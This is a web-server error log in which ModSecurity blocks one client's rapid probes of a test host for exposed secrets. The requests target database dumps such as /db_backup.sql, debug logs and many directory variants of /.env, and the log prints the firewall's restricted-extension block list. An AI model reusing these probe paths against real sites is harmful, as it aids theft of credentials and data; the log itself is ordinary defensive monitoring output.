[Mon Jul 28 20:46:07.661736 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjbwAAAAc&quot;]
[Mon Jul 28 20:46:07.681576 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcAAAAAc&quot;]
[Mon Jul 28 20:46:07.681879 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcAAAAAc&quot;]
[Mon Jul 28 20:46:07.682029 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcAAAAAc&quot;]
[Mon Jul 28 20:46:07.743941 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcwAAAAc&quot;]
[Mon Jul 28 20:46:07.744235 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcwAAAAc&quot;]
[Mon Jul 28 20:46:07.744396 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjcwAAAAc&quot;]
[Mon Jul 28 20:46:07.848146 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeAAAAAc&quot;]
[Mon Jul 28 20:46:07.848353 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeAAAAAc&quot;]
[Mon Jul 28 20:46:07.848514 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeAAAAAc&quot;]
[Mon Jul 28 20:46:07.868672 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /delivery/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeQAAAAc&quot;]
[Mon Jul 28 20:46:07.868873 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeQAAAAc&quot;]
[Mon Jul 28 20:46:07.869051 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjeQAAAAc&quot;]
[Mon Jul 28 20:46:07.889020 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjegAAAAc&quot;]
[Mon Jul 28 20:46:07.889239 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjegAAAAc&quot;]
[Mon Jul 28 20:46:07.889425 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo-app/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjegAAAAc&quot;]
[Mon Jul 28 20:46:07.922332 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /demo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjewAAAAc&quot;]
[Mon Jul 28 20:46:07.922567 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjewAAAAc&quot;]
[Mon Jul 28 20:46:07.922741 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/demo/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjewAAAAc&quot;]
[Mon Jul 28 20:46:07.984785 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjfgAAAAc&quot;]
[Mon Jul 28 20:46:07.984956 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjfgAAAAc&quot;]
[Mon Jul 28 20:46:07.985109 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deploy/.env&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjfgAAAAc&quot;]
[Mon Jul 28 20:46:08.046883 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgQAAAAc&quot;]
[Mon Jul 28 20:46:08.047073 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgQAAAAc&quot;]
[Mon Jul 28 20:46:08.047237 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev-env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgQAAAAc&quot;]
[Mon Jul 28 20:46:08.087922 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgwAAAAc&quot;]
[Mon Jul 28 20:46:08.088127 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgwAAAAc&quot;]
[Mon Jul 28 20:46:08.088297 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjgwAAAAc&quot;]
[Mon Jul 28 20:46:08.108312 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhAAAAAc&quot;]
[Mon Jul 28 20:46:08.108526 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhAAAAAc&quot;]
[Mon Jul 28 20:46:08.108682 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhAAAAAc&quot;]
[Mon Jul 28 20:46:08.149774 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjhgAAAAc&quot;]
